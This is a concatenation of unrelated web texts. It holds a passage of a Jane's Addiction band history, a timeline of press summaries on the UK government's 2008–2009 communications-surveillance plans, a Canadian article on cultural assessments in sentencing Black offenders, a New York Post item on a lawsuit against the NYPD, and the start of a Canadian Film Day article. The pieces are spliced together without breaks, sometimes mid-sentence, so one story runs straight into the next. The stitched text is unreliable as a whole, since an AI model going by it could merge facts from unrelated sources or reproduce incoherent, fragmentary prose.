HBO's hit series Entourage. The band spent 2003 on an extensive worldwide tour in support of Strays, including a summer headliner slot in a reincarnated Lollapalooza U.S. tour. Following this homecoming of sorts, Jane's Addiction once again broke up towards the end of 2003 after canceling several dates. Although details surrounding the band's demise are sparse, Navarro claimed on his website,[28] in June 2004, that the reasons were essentially the same as they were in 1991. Perkins later stated, "We always break up if it's not real. We really can’t fake it… We can make a million dollars for three months touring but we would fucking hate each other, which isn’t good. Even with the nostalgia, it's not worth it if it doesn’t sound good, or look good. One of the things with Jane's is that we have never been good at faking it."[29] A hits album – Up from the Catacombs – The Best of Jane's Addiction – was released on September 19, 2006. Return of Eric Avery and NIN/JA Tour (2008–2010) [ edit ] Jane's Addiction performed at the first-ever NME Awards USA on April 23, 2008, with the reunited core line-up of Perry Farrell, Dave Navarro, Eric Avery, and Stephen Perkins. This was the first performance with bassist Eric Avery since 1991, taking place after their acceptance speech for the "Godlike Genius Award". To follow this up, the original line up performed their first full set in 17 years in Los Angeles on October 23, 2008 at La Cita Bar, and played two further club gigs at the El Cid in Los Angeles on November 20.[30] and the Echoplex on February 16, 2009.[31] On April 11, 2009 they had a birthday bash for Perry that included members of Jane's Addiction and Porno for Pyros on the same stage; the bash was nicknamed Perrypalooza.[32] Around this time, photos of Farrell, Navarro, Avery and Perkins, taken by Trent Reznor, appeared on Nine Inch Nails' official web site, leading to speculation that Reznor could be helping Jane's Addiction record new material.[33] "He did his best to be both producer and psychologist," Farrell said, in a Billboard report about tension between himself and Avery. "He was very respectful, trying to get out of the way and not overproduce. I wish honestly he would've produced a little more, but he was a little gun-shy after seeing us explode on each other in the studio. He became the referee for a day and after that day I think he was done."[34] Nonetheless, Reznor subsequently posted a blog entry announcing that Jane's Addiction would accompany Nine Inch Nails on their summer 2009 tour, which kicked off on May 8 in West Palm Beach, Florida.[35] To accompany the tour, newly recorded versions of "Trip Away" and "Whores" were released for free via the official tour website.[36] Farrell explained: "To get some creative juice flowing, we went into the studio for about two weeks. We had the idea to re-record two tunes, just because they'd never been done officially in the studio. And we had some fun writing some new things. A handful that are close to finished, but not quite done. But there's no rush to put anything out at this point."[37] Navarro blogged: "We wanted to give our longtime listeners something to celebrate the tour and 'Whores' has always been one of the tracks that defined Jane's early on."[38] A retrospective box set, A Cabinet of Curiosities, was released to coincide with the NIN/JA tour in April 2009. In July 2009, Jane's Addiction was scheduled to play the Splendour in the Grass festival in Australia when a health issue forced a last-minute cancellation.[39] Music Feeds reports that an arm infection, probably that of drummer Stephen Perkins, is the cause of the cancellation. The entire Australian leg of the Jane's Addiction 2009 world tour was cancelled, though Jane's Addiction would play the next year's Splendour in the Grass.[40] Jane's Addiction performed at the 2009 Voodoo Fest held at City Park in New Orleans, Louisiana over Halloween weekend.[41] The concert was filmed and a year later released as Live Voodoo DVD, which received mixed reviews. "It all falls rather flat, a two-dimensional sound robbing the likes of 'Ocean Size' and 'Ted, Just Admit It' of any sense of dynamics," Phil Mongredien of Q wrote.[42] Jane's Addiction returned to Australia in February 2010 for the Soundwave Festival.[43] Avery left the band following the festival, stating: "That's it. With equal parts regret and relief, the Jane's Addiction experiment is at an end."[44] The Great Escape Artist (2010–2012) [ edit ] The band began working with Guns N' Roses bassist Duff McKagan on new material.[45][46][47] with a picture of the group working together posted on Navarro's Twitter page.[48] It was later confirmed by Dave Navarro on his Dark Matter radio program that McKagan had indeed joined Jane's Addiction on a permanent basis.[49] The new lineup of Jane's Addiction made their debut, performing at singer Perry Farrell's 51st birthday celebration, at Les Deux in Los Angeles, California on March 30.[49][50] In April 2010, the group announced two European dates, scheduled for June, taking place at the GelreDome, in Arnhem, Netherlands, and an appearance at the Rock in Rio in Madrid, Spain.[51] Preceding these shows in Europe was a one-off Cinco de Mayo concert that took place at the Bardot in Hollywood, California on Wednesday, May 5, 2010.[52] During the show, they debuted a new song titled "Soulmate".[53] In September 2010 McKagan left the band. On September 25, 2010, Jane's Addiction performed a live set for "Guitar Center Sessions" on DirecTV. The episode included an interview with the band by program host, Nic Harcourt.[54] On January 5, 2011, the band announced that they had recruited TV on the Radio guitarist and producer Dave Sitek as a replacement for Duff McKagan. Sitek was set to record the bass for the band's fourth studio album, entitled The Great Escape Artist.[55] On January 14, 2011, while talking about the recording of the new album, drummer Stephen Perkins mentioned that although Sitek was a "stabilizing force" for Jane's Addiction, and was to appear on the upcoming album, he was not the band's full-time bassist as was previously reported.[56] It was then confirmed that Sitek would not be touring with the band, which was set to promote the album on a summer tour, including headlining Reading and Leeds Festivals. These sets would later be cancelled due to Farrell's illness.[57] It was then announced that Chris Chaney would be the band's live bassist for some shows in 2011. On March 30, 2011, a song from The Great Escape Artist, titled "End to the Lies" was premiered on the Chilean radio station Radio Futuro, and was also performed at Lollapalooza Chile on April 3, 2011.[58] On April 8, "End to the Lies" was released via their website as free to download. On July 23, 2011 the band headlined the Gathering of the Vibes Music and Arts festival in Bridgeport, Connecticut. On August 3, 2011 the band released the second single entitled "Irresistible Force". The initial release date for new album was scheduled for September 27, 2011,[59] but was postponed until October. The Great Escape Artist was released on October 18, 2011.[60] Jane's Addiction launched their Theatre of the Escapists Tour in 2012 to a sold out crowd at the 2,000 seat[61] Pageant Theatre in St. Louis, Missouri. Future (2012–present) [ edit ] In February 2012, Perry Farrell discussed the possibility of releasing a follow-up to The Great Escape Artist while touring in support of the album, stating, "What I have not seen before is a group that's done a record, had somewhat of a theme – escapism – and then done a second record almost as if it was a follow-up movie. I want to do that. We have material left from The Great Escape Artist we didn't record. I'm very inspired to keep with the theme. Something's feeling right about it."[62] In July 2012 Jane's Addiction headlined the inaugural Bunbury Music Festival in Cincinnati, Ohio. Also in 2012, the band contributed a cover of Sympathy for the Devil to Sons of Anarchy. This track also appeared on the soundtrack album Songs of Anarchy: Volume 2.[63][64] In December 2012, FUSE TV named Jane's Addiction single, "Underground", one of the top 40 songs of 2012.[65] In May 2013, the band performed at the Bottlerock Festival in the Napa Valley, along with the Violent Femmes, Macklemore, The Black Keys, Cake, Train, Blues Traveler, The Wallflowers, Kings of Leon, and more.[66] The band released their live album, Live in NYC, on July 8, 2013, recorded during the "Theatre of Escapists" tour. On August 8, 2013, the band released a stream of a new single, "Another Soulmate".[67] Jane's Addiction was awarded with the 2,509th star of the Hollywood Walk of Fame on October 30, 2013. Their star is located at 6436 Hollywood Boulevard.[68] In January 2014, Perry Farrell stated that Jane's Addiction is on hiatus, and he is currently working on a new musical, "Kind Heaven." [69] Jane's Addiction performed their debut album, Nothing's Shocking, at Brooklyn Bowl Las Vegas on May 8, 9, and 10, 2014, and again at O2 Academy Brixton on August 20 and O2 Apollo Manchester on August 21, 2014. On July 15, 2016, Jane's Addiction performed on the Sterling Spoon Anniversary Tour for six shows in the US celebrating the 25th anniversary of Ritual De Lo Habitual and Lollapalooza. Special guests on the tour included Dinosaur Jr. and Living Colour
29 - The Register Privacy watchdog bashes UK.gov net snoop plan Author: Chris Williams Summary: New Information Commissioner Christopher Graham criticises IMP for being 'excessive'. His submission to the Home Office Consultation said: "The Information Commissioner believes that the case has yet to be made for the collection and processing of additional communications data for the population as a whole being relevant and not excessive." He also asked if the Home Office had suggested targeted snooping, rather than mass surveillance. 2009-07-08 - The Register Cops to step up use of phone and net records Author: Chris Williams Summary: New plans to increase police detective usage of communications data are being put in place in anticipation of IMP. 2009-07-01 - The Register - Mobile operators question net snoop plan Author: Chris Williams Summary: Mobile ISPs such as T-mobile are expressing similar concerns as many fixed-line ISPs that the technology to record the data the IMP is asking for does not yet exist. 2009-06-19 - The Register - IMP bets £2bn on non-existent horse Author: Chris Williams Summary: In a leaked report of a private meeting between CSPs and the Home Office, it has been revealed that Home Office officials admitted to doubts about whether the technology required to perform the mass surveillance proposed in IMP even existed. ISPA has planned a meeting to discuss the legal implications of IMP on 1st July. 2009-06-17 - The Register - MPs launch probe of massive net snooping project Author: Chris Williams Summary: In response to the LSE report, MPs have launched a public consultation on IMP. The main focus was to be on costs, and individual's privacy which is at great risk of being compromised under the proposal. The inquiry is to begin on 1st July. 2009-06-02 - The Register - ISPs frosty on Jacqui's comms surveillance plan Author: Chris Williams Summary: ISPs have voiced concerns about the IMP plans, in particular about costs and guarantees for the maintained privacy and security of their user's private details. Many said they were not capable of storing the amount of data the government wants, but some of the larger ISPs have not yet made comment. 2009-05-03 - The Register - 'Climb down' on central database was 'a sideshow' Author: Chris Williams Summary: Claims by Jacqui Smith earlier in the week that plans for a central database had been dumped have been revealed to be equivocal. Instead, GCHQ are installing a system called 'Mastering the Internet', which appears to be a system for mass surveillance. Shami Chakrabarti, director of Liberty, said: "We opposed the big brother database because it gave the state direct access to everybody’s communications. But this network of black boxes achieves the same thing via the back door." GCHQ's spokeswoman said: "GCHQ does not discuss 'how' we use data, as this may lead to revelations about our capability which damage national security. GCHQ is constantly updating its systems in order to maintain and renew its capability." 2009-04-28 - The Register - Officials 'not interested in managing contracts' Author: Kablenet Summary: The Public Accounts Committee says government departments are not scrutinising external suppliers, and are letting them get away with poor management where the powers exist to punish them by docking their pay. This does not bode well for the handling by ISPs, who would be funded by the government. 2009-04-27 - politics.co.uk - Home Office rules out telephone surveillance database Author: Ian Dunt Summary: The Home Office says that no centralised database will be set up, but rather, individual service providers would be expected to take records of individuals' calls, internet usage, and emails. The content would not be recorded, but the time, date, location, and recipient would all be logged. 2009-04-27 - The Register - Uberdatabase ditched, but IMP is go Author: Chris Williams Summary: The government plans to spend £2bn for service to intercept details of their customers' emails, VoIP calls, instant messaging and social networking. The service providers would also be required to organise the data so that it can be used more efficiently by the government. The move to give the responsibility of data collection to the service providers is criticised to be a dodging manoeuvre, as opposition such as Facebook would have no choice - since the transmissions are intercepted before they reach the website. The consultation is said to run for 12 weeks. 2009-04-07 - ZDNet - Home Office denies prototype intercept database Author: Tom Espiner Summary: According to the Home Office, no prototype database has been built by either the Home Office or the intelligence services, to test whether all UK citizens' communications information can be stored.... Phil Booth, national co-ordinator for No2ID, told ZDNet UK on Tuesday that he doubted the accuracy of the Home Office statement, due to the age of the IMP. "It's very unlikely (the intelligence services) haven't done at least some limited line testing," said Booth. "It's unlikely they would work for five years on a project and not test it." 2009-03-25 - BBC - Social network sites'monitored' Summary: Social networking sites like Facebook could be monitored by the UK government under proposals to make them keep details of users' contacts. The Home Office said it was needed to tackle crime gangs and terrorists who might use the sites, but said it would not keep the content of conversations. Tens of millions of people use sites like Facebook, Bebo and MySpace to chat with friends, but ministers say they have no interest in the content of discussions - just who people have been talking to. 2009-03-25 - The Independent - Now 'Big Brother' targets Facebook Author: Nigel Morris Summary: Millions of Britons who use social networking sites such as Facebook could soon have their every move monitored by the Government and saved on a "Big Brother" database. The idea to police MySpace, Bebo and Facebook comes on top of plans to store information about every phone call, email and internet visit made by everyone in the United Kingdom.... the Liberal Democrat home affairs spokesman Tom Brake, he insisted: "I accept this is an extremely difficult area. The interface between retaining data, private security and all such issues of privacy is extremely important. It is absolutely right to point out the difficulty of ensuring we maintain a capability and a capacity to deal with crime and issues of national security – and where that butts up against issues of privacy." 2009-01-12 - The Register - CPS denies support for uberdatabase Author: Chris Williams Summary: The Crown Prosecution Service (CPS) has clarified comments by the UK's top prosecutor, denying that he supports proposals for a centralised warehouse of private communications data.... Today the CPS said Starmer's comments should not have been interpreted as "tacit support" for a multibillion pound data harvesting operation. "The Guardian suggests he would support the database. That isn't correct," a spokeswoman said. 2009-01-09 - The Register - Confusion reigns ahead of comms uberdatabase debate Author: Chris Williams Summary: Disentangling IMP from the EU Data Retention Directive. Jacqui Smith will soon begin one of the Home Office's famed consultation exercises on new systems demanded by spy chiefs to snoop on internet communications in the UK. But already, the mangle of powers and regulations around data retention threatens public understanding of what is being suggested.A somewhat confused report from the BBC today attempts to trace the links between the Interception Modernisation Programme (IMP) and the imminently-in-force EU Data Retention Directive (EUDRD)... 2009-01-09 - BBC - UK e-mail law 'attack on rights' Summary: Shami Chakrabarti, director of Liberty, said "The thing we have to worry about is what happens next because the government is already mooting plans not just to leave this stuff with the providers but to create a central government database where they hold all the information." "I'm afraid, we just don't trust any government or any organisation to keep that much very sensitive information about us all and to keep it safe." 2009-01-07 - The Telegraph - MI5 chief warns of threat from global recession Author: Duncan Gardham Summary: The head of MI5 is also concerned that the development of new ways of telephoning over the internet could represent a "significant detriment to national security" and that new powers are needed to tackle the threat. While calls can be monitored, phone bills - which can constitute vital evidence in prosecutions - are not available from internet phone services. "If we are to maintain our capability we are going to have to make decisions in the next few years" he said, "Because traditional ways are unlikely to work." 2009-01-07 - The Guardian - MI5 chief: al-Qaida threat diminished, but not yet over Author: Richard Norton-Taylor Summary: The head of MI5... warns that... Not getting access to emails and data on internet sites would be detrimental to national security. 2009-01-01 - The Telegraph - It's the database, not who runs it, that matters Summary: Anger should be directed at the project itself. If there is one thing that must stop in the year ahead it is this Government obsession with hoovering up all the personal information it can get its hands on. Jacqui Smith, the Home Secretary, says this is "vital" to maintain Britain's capacity to combat terrorism, the argument governments always use in order to justify restrictions on liberties. This must not be allowed to turn into an argument over who should collect the information. The debate should be about the need for such a database in the first place. Otherwise, when it is linked up with the proposed ID database, the last vestiges of personal privacy will be stripped away. 2009-01-01 - ars technica - Private firm to guard database of every phone call, e-mail Summary: A contentious proposal to create a massive database of communications metadata in the United Kingdom has just become even more controversial. According to reports in the British press, a "consultation paper" laying out the plan, slated for release in January, contemplates outsourcing the maintenance of the database to private-sector firms. The proposal has already come under fire from civil liberties groups, the European human rights commissioner, and former public officials. Initially included in Britain's Communications Data Bill as part of a sweeping Interception Modernisation Programme, the surveillance proposal was dropped from the legislation in September, but it was not abandoned. 2008 2008-12-31 - The Independent - UK's database plan condemned by Europe Author: Robert Verkaik Summary: Britain must rethink plans for a database holding details of every email, mobile phone and internet visit, Europe's human rights commissioner has said in an outspoken attack on the growth of surveillance societies. Thomas Hammarberg said that UK proposals for sweeping powers to collect and store data will increase the risk of the "violation of an individual's privacy". 2008-12-31 - The Guardian - Private firm may track all email and calls Author: Alan Travis and Richard Norton-Taylor Summary: The private sector will be asked to manage and run a communications database that will keep track of everyone's calls, emails, texts and internet use under a key option contained in a consultation paper to be published next month by Jacqui Smith, the home secretary.... Sir Ken Macdonald, the former director of public prosecutions, who has firsthand experience of working with intelligence and law enforcement agencies,... warned it would prove a "hellhouse" of personal private information. 2008-12-04 - ZDNet - Gov't comms database plans put on hold Author: Nick Heath Summary: Plans for a centralised database of all UK communications data were put on the backburner after draft legislation failed to appear in Wednesday's Queen's speech. The Communications Data Bill was pushed back by the Home Office to allow more consultation on the proposals next year. There is concern the bill will allow the government to store all UK communications in a £12bn super database, with Whitehall arguing that the law needs to be updated to allow police and security services to monitor and store internet traffic in the fight against terrorism and serious crime. 2008-10-30 - ZDNet - Home Office begins work on comms data Summary: Home secretary Jacqui Smith has said her department already has a team working on how it obtains communications data. This comes before the the government has begun the consultation on a proposed parliamentary bill that would enable it to gather communications data for policing and national security purposes. "We have brought together a team to look at some of the technical solutions around what it might be necessary to do, precisely in order to be able to inform the consultation, so that work of course is ongoing," Smith told parliament's Joint Committee on Human Rights on 28 October. 2008-10-15 - The Independent - Exclusive: Storm over Big Brother database Author: Robert Verkaik and Nigel Morris Summary: Early plans to create a giant "Big Brother" database holding information about every phone call, email and internet visit made in the UK were last night condemned by the Government's own terrorism watchdog. 2008-10-15 - The Telegraph - Jacqui Smith plans broad new 'Big Brother' surveillance powers Author: Rosa Prince Summary: Telephone calls, internet use and email will be monitored by the police as part of a broad extension of the ability of the state to snoop on citizens. 2008-10-08 - The Register - UK.gov £12bn comms überdatabase 'wouldn't spot terrorists' Author: Chris Williams Summary: A heavyweight US investigation of counter-terror databases has concluded that the type of intelligence mining proposed by UK spy chiefs under the auspices of the Interception Modernisation Programme (IMP) probably won't catch jihadis. The central database aspect of IMP is being discussed in secret on the basis it will "maintain capability" to examine suspects' communications activities, which in most cases are already stored by telcos. Critics charge that pooling call, mobile phone location and internet records will grant the intelligence services unprecedented powers to go on "fishing trips" for potential criminals. But Tuesday's 352-page report by the National Academies, which advise politicians on science, engineering and medicine, says that trawling databases for "suspicious" activity generates "huge numbers of false leads". 2008-10-07 - The Register - Spy chiefs plot £12bn IT spree for comms überdatabase Author: Chris Williams Summary: Billions of pounds of public money will soon be up for grabs for private IT contractors ready to serve the Interception Modernisation Programme - UK spy chiefs' plan to store details of every call, email, text and web browsing session. 2008-10-06 - Daily Express - Spies will tap into all emails and calls Author: Macer Hall Summary: All telephone calls, emails and text messages in Britain will be monitored under new Government snooping plans. A £12billion identity database at the GCHQ spy centre could even log every website visited by computer users nationwide.... Michael Parker of anti-identity card group No2ID said: "It is a shocking intrusion into privacy. This is stalking. If an individual carried out this sort of snooping, it would be a crime." 2008-10-06 - Metro - 'Stalker state' database would cost £12bn Summary: A database costing £12billion – to hold the e-mails, phone records and internet habits of everyone in Britain – would turn the country into a'stalker state', lobby groups have warned. 2008-10-05 - The Times - Government will spy on every call and e-mail Author: David Leppard Summary: Ministers are considering spending up to £12 billion on a database to monitor and store the internet browsing habits, e-mail and telephone records of everyone in Britain. 2008-10-05 - The Times - There's no hiding place as spy HQ plans to see all Author: David Leppard Summary: Sir David Pepper who, as the director of GCHQ, the government's secret eavesdropping agency in Cheltenham, is plotting the biggest surveillance system ever created in Britain... Pepper is masterminding an innocent-sounding project called the Interception Modernisation Programme. The scope of the project is said by officials to be so vast that it will dwarf the estimated £5 billion ministers have set aside for the identity cards programme.... Aimed at placing a "live tap" on every electronic communication in Britain, it will dwarf other "big brother" surveillance projects... 2008-09-25 - The Register - UK.gov 'to drop' überdatabase from snoop Bill Author: Chris Williams Summary: The government will drop plans for a massive central database to track private communications from the forthcoming Communications Data Bill, but officials will proceed with the multi-billion project in the background instead. Senior civil servants will discreetly run the project to swerve potential political opposition to a scheme which would retain details of every phone call, email, and web browsing session of every UK citizen, sources have told The Register. 2008-09-05 - ZDNet - Labour tech tsar attacks gov't comms-database plan Author: Nick Heath Summary: The Labour chairman of an influential technology group has warned that government plans to monitor UK email and internet records could collect too much data to be useful.... Andrew Miller MP, chairman of the Parliamentary Information Technology Committee, cast doubt on the value of requiring ISPs to hold such a vast amount of information, saying the data would be too broad to be useful.... Miller said: "The worry that I have is the sheer practicality of being able to manage that data in a meaningful way." "Keeping everything from everyone might seem like a good idea, but you have to face up to reality of what the hell are we going to do with it," he added. 2008-08-19 - Gizmodo USA - 'UK Gov't Creating Centralized Snooping Silo to Monitor all Calls, Texts, Emails, IMs and Surf Histories' Author: Adam Frucci Summary: The UK government has decided to spend hundreds of millions of pounds (gajillions of dollars in US currency) on a huge central silo for all of the country's communications data. What'll that entail? Well, apparently "the one-stop-shop database will retain details of all calls, texts, emails, instant messenger conversations and websites accessed in the UK for up to two years." Oh my. 2008-08-19 - The Register - 'UK.gov to spend hundreds of millions on snooping silo' Author: Chris Williams Summary: The government is pressing ahead with plans to spend hundreds of millions of pounds on a massive central silo for all UK communications data, The Register has learned. 2008-08-13 - The Guardian - 'Snooper's charter' to check texts and emails Author: Alan Travis Summary: Local councils, health authorities and hundreds of other public bodies are to be given the power to access details of everyone's personal text, emails and internet use under Home Office proposals published yesterday. Story relates to the of the Data Retntion Directive, but also references IMP. 2008-07-23 - Kable - Communications data requests top half million Summary: Public authorities made 519,260 requests for communications data in 2007, an annualised increase of more than a half. The figure was published in the annual report of the interception of communications commissioner Sir Paul Kennedy. In the last nine months of 2006, he said that 253,557 requests for communications data were made of communication service providers, and last year's figure was 54% higher on an annualised basis. 2008-07-17 - BBC - 'No decision' on giant database Summary: No decision has been taken to create a huge database containing details of all phone calls, e-mails and internet use, security minister Lord West says. The Information Commissioner has warned that such a database could be a "step too far for the British way of life". Asked in the House of Lords about that warning, Lord West said: "It is very early days as to where we go on this." But the switch from traditional phones meant the "entirely new" communication methods had to be assessed, he said. There have been reports that the giant database is planned for the government's proposed Communications Data Bill. 2008-07-16 - Daily Mail - Big Brother database recording all our calls, texts and e-mails will "ruin British way of life" Author: Matthew Hickley Summary: Plans for a massive database snooping on the entire population were condemned yesterday as a "step too far for the British way of life". In an Orwellian move, the Home Office is proposing to detail every phone call, e-mail, text message, internet search and online purchase in the fight against terrorism and other serious crime. 2008-07-16 - ZDNet - Privacy tsar: Gov't comms database 'a step too far' Author: Nick Heath Summary: The UK's privacy tsar has made a plea to the government not to rush through a centralised database of all UK communications. Richard Thomas said the rumoured database of UK phone and internet communications would be "a step too far for the British way of life". Thomas said in a statement: "There needs to be the fullest public debate about the justification for, and implications of, a specially created database — potentially accessible to a wide range of law-enforcement authorities — holding details of everyone's telephone and internet communications." 2008-07-15 - The Guardian - Multimillion pound security project shelved by ministers Author: Rob Evans and Richard Norton-Taylor Summary: A multimillion pound project designed to improve Britain's security by giving key government officials speedy access to secret intelligence on terrorism and other threats has been shelved, the Guardian has learned. Ministers have frozen the development of a secure computer network that would have radically transformed the way the security and intelligence agencies handle sensitive information. The government has refused to disclose the cost of the project, codenamed SCOPE. It has been described by parliament's Intelligence and Security Committee as marking the "beginning of the end" of distributing paper copies of intelligence reports around Whitehall and as "fundamentally changing the way the UK intelligence community interacts". A limited version of the project, called SCOPE 1, is finally up and running after a two-year delay. This is the first stage of the project and enables the intelligence agencies - MI5, MI6, and GCHQ - and a limited number of other officials, to communicate with each other more quickly and securely than before. It enables them to call up the latest intelligence within 15 minutes rather than waiting up to 12 hours. 2008-07-15 - Computing - Communications database would be a "step too far" Author: Tom Young Summary: A government database that held records of citizens' phone and internet communications would be going a "step too far", according to the UK privacy watchdog. While acknowledging that the monitoring of communications was important in the fight against crime, information commissioner Richard Thomas said such proposals should not go ahead without proper public and parliamentary debate. 2008-07-15 - Kable - Communications database 'a step too far' Summary: The information commissioner has criticised the concept of a national database for details of all electronic communications. Richard Thomas questioned whether the state should extend its access to people's personal lives and called for more debate on plans to collect data. "There needs to be the fullest public debate about the justification for, and implications of, a specially created database – potentially accessible to a wide range of law enforcement authorities – holding details of everyone's telephone and internet communications," Thomas said on 15 July 2008. "Do we really want the police, security services and other organs of the state to have access to more and more aspects of our private lives?" 2008-07-15 - BBC Online - Warning over phone calls database Summary: A central database holding details of everyone's phone calls and emails could be a "step too far for the British way of life", ministers have been warned. Plans for such a database are rumoured to be in the Communications Data Bill. 2008-07-15 - BBC iPM - Communications Data Bill: cause for concern? Author: Jennifer Tracey Summary: How do you feel about the possibility of a centralised police database holding details of every phone call and text message you've sent and websites you've visited? 2008-07-15 - ZDNet - Critics attack 'dangerous' gov't comms-snooping plan Author: Tom Espiner Summary: Internet service providers are to be invited to tender for a government scheme to monitor all internet communications and telecommunications. Under the proposed Interception Modernisation Programme (IMP), internet service providers (ISPs) would be required to link 'black boxes' to their servers to record all internet traffic, including details of emails, VoIP telephone conversations, instant messages and browsing habits. Telephone conversations would also be monitored. 2008-07-12 - BBC Online - Fears grow over information plans Summary: Government plans to collect more data on mobile phone calls and internet usage have been further criticised as an attack on civil liberties. 2008-06-23 - Liberal Conspiracy - If I could commission one government IT project Author: Lynne Featherstone MP Summary: I've been pretty critical of two massive government IT projects - the existing plans to introduce mandatory identity cards with a huge database behind them and also the Home Office talk of a database of all phone calls and emails made anywhere in the country. My criticisms in both cases are three-fold: the money involved could be better spent on other projects (such as giving us more police rather than keeping huge databases of the activities of innocent people), they involve a huge infringement of our liberties and privacy, and - thirdly - big IT projects like this are likely to go wrong and to be vulnerable to misuse. 2008-05-22 - Computer Weekly - Revealed - Government plans to tap phone and internet use Author: Cath Jennings Summary: The Home Office is considering radical plans to develop a centralised surveillance system to track in real-time every kind of electronic activity undertaken by citizens. The project, driven by intelligence services, would require the development of a surveillance system unprecedented in its scope and technical sophistication. 2008-05-21 - Society for Computers and Law - Communications Data Bill: ICO Repeats Warning on Surveillance Society Summary: The ICO has released a statement expressing concerns about the Government plans for a Communications Data Bill. The Government plans for a Communications Data Bill, outlined in its draft legislative programme, have received a pretty distrustful reaction from the ICO. 2008-05-20 - Silicon.com - Critics attack gov't email, phone database plan Author: Nick Heath Summary: All email, blogs, instant messaging and VoIP calls could be monitored under government proposals - but critics warn the plans go too far. As of last September telecoms providers must keep all text and phone call records for up to two years under an EU directive, and this is to be rolled out to include all online traffic by 2009 at the latest. 2008-05-20 - ZDNet - Gov't planning centralised communications database Author: David Meyer Summary: Privacy and IT security experts have reacted with horror to reported government plans that would see UK citizens' internet and telephony usage details stored in a massive centralised database. 2008-05-20 - The Times - "Big Brother" database for phones and e-mails Author: Richard Ford Summary: A massive government database holding details of every phone call, e-mail and time spent on the internet by the public is being planned as part of the fight against crime and terrorism. Internet service providers (ISPs) and telecoms companies would hand over the records to the Home Office under plans put forward by officials. 2008-05-15 - Outlaw.com - Government orders data retention by ISPs Summary: Phone and internet companies will soon be forced to keep logs of internet usage to be made available to the police under a new law announced by Prime Minister Gordon Brown this week. The law, the Communications Data Bill, will implement the remainder of the European Union's Data Retention Directive.Canadian judges are being urged to take systemic racism into account before sentencing black criminals, similar to the special consideration often given to aboriginals who break the law. Defence lawyers behind the push say asking judges to consider how historic discrimination and marginalization may have influenced their clients’ behaviour is not meant to be a “get-out-of-jail-free” card; it simply gives judges a fuller picture of their clients before their fates are decided. Representatives for Legal Aid Ontario say they plan to start nudging Ontario judges to use so-called “cultural assessments” in the near future and will set aside some money for test cases. “In Ontario, for decades, courts have recognized that black people … face systemic racism, but there hasn’t been a well-developed mechanism to deal with that,” said Wayne van der Meide, regional manager of case management and litigation. “A cultural assessment report is the best mechanism to support judges to really understand the circumstances of the offender and how systemic racism has contributed to that person coming before the court.” Van der Meide said he is taking cues from Nova Scotia, which has been home to an indigenous black community for 400 years and whose courts have used cultural assessments in a handful of cases. In one 2014 provincial court case, the Crown sought an adult sentence for a 16-year-old black youth who was found guilty of attempted murder. After reviewing a cultural assessment prepared by the defence, the judge declined the request, noting that the assessment provided a “multi-dimensional framework for understanding (the offender), his background and his behaviours.” Advocates say cultural assessments could help address the over-representation of black people in federal prisons. Currently, they make up three per cent of the general population but nine per cent of federal inmates. But Canada’s federal prison ombudsman, Ivan Zinger, says he’s not convinced cultural assessments will change that. Similar assessments, known as Gladue reports, have been used in aboriginal cases for years, he said. Yet indigenous people still account for 26 per cent of the prison population, even though they make up less than five per cent of the general population. “Adopting the same Gladue approach for Canadians of African descent may also not yield the desired outcome,” he said. “Investments in improving socioeconomic, cultural and political rights of vulnerable segments of the Canadian population may be a better approach.” The family of one Nova Scotia murder victim has expressed concerns that cultural assessments diminish individual responsibility. Last year, a Halifax jury found Kale Leonard Gabriel, 28, guilty of second-degree murder in the shooting death of Ryan White during a drug-turf dispute. The conviction brought an automatic life sentence, but a judge still had to decide Gabriel’s parole eligibility. The defence asked the judge to hold off until a cultural assessment could be prepared and he agreed. At the time, White’s mother told local media an offender’s racial background shouldn’t matter. “I think that a crime is a crime, and colour shouldn’t matter whatsoever,” Theresa White said. “It’s very difficult to try to forward your life when you’re being called back to that same sadness over and over.” The assessment, written by clinical social worker Lana MacLean, noted gun violence had become normalized within a subsection of the African Nova Scotian community and death was “regarded as an expected outcome in settling disputes.” Within this subgroup, one problem compounded upon another: chronic exposure to gun violence; systemic racism; limited job and social opportunities; difficult childhoods; and a lack of culturally relevant mental-health services. The lives of some black youth are defined by a “constant alertness and guardedness” and the way they cope with despair is to turn to drugs or gangs. In this context, Gabriel might “hold the position of both victim and perpetrator,” MacLean suggested. In his sentencing decision last month, Supreme Court Justice Jamie Campbell said he appreciated MacLean’s assessment, noting that an individual judge’s “common sense and understanding of human nature may offer little insight into the actions of a young African Nova Scotian male.” Adopting the same Gladue approach for Canadians of African descent may also not yield the desired outcome It is “historical fact and present reality” that African Nova Scotians were and continue to be discriminated against, the judge said. But while racial background may help understand the broader circumstances that acted upon an offender, it does not necessarily establish a lower standard of moral culpability. The judge also pointed out that MacLean had spoken to Gabriel for four hours, so her observations of the experience of young African Nova Scotia men “may not apply to him individually.” The judge declared Gabriel ineligible for parole for 13 years, going against the defence team’s wish for the minimum 10 years. Nova Scotia Legal Aid lawyer Brandon Rolle said even though it wasn’t the outcome they wanted, the judge gave meaningful consideration to Gabriel’s African Nova Scotian background. “I take the view that every African-Canadian offender should have the ability to present evidence pertaining to their cultural background to assist the trier of fact at sentencing,” Rolle said. “Applying a cultural lens adds tremendous value because it allows the judge or jury to have a better appreciation for the lived experience of an African-Canadian individual that they might otherwise not consider.” Rick Woodburn, president of the Canadian Association of Crown Counsel, declined to comment on the growing call for assessments, saying members had not been surveyed on the issue. • Email: dquan@postmedia.com \| Twitter: dougquanA suicidal Bronx woman is suing the NYPD for bringing guns to a knife fight. Joann Clarke, whom responding cops found stabbing herself with knives, claims the officers were negligent for shooting her in the leg after she lunged at them. Clarke’s boyfriend called cops to his Pelham Bay apartment last year, telling a 911 dispatcher Clarke was emotionally disturbed and “might hurt herself.” Officers found Clarke with steak and carving knives, cutting into her own body before eventually running at one of them with a knife in hand, according to a published report. That’s when one of the officers fired his weapon, hitting the 43-year-old in the leg in the March 2012 incident. Clarke claims the officers were negligent, “unfit, incompetent and/or improperly or insufficiently trained,” according to a Bronx Supreme Court suit filed this month. The use of force was “excessive, unjustified [and] unreasonable,” Clarke alleges in court papers. Clarke is seeking unspecified damages. The city is reviewing the lawsuit, a Law Department spokeswoman said. Republished with permission of The New York Post.Let's be honest: having a day to celebrate the best in homegrown cinema feels like being being forced to take your medicine. But with only a sliver of the box office returns, the Canadian film industry could use the boost. Most Canadian films are made with a fraction of the marketing budget for the next Transformers movie. So how do you battle the Hollywood behemoth? Enter National Canadian Film Day. Coinciding with Canada's 150th celebrations, this is the largest Canadian Film Day ever, featuring 150 films and more than 1,700 events. So for those who roll their eyes at the mention of Canadian films, here's a place to start: If you like Big Little Lies, try C.R.A.Z.Y. If you enjoyed the visceral performances and beautiful visuals of Big Little Lies, 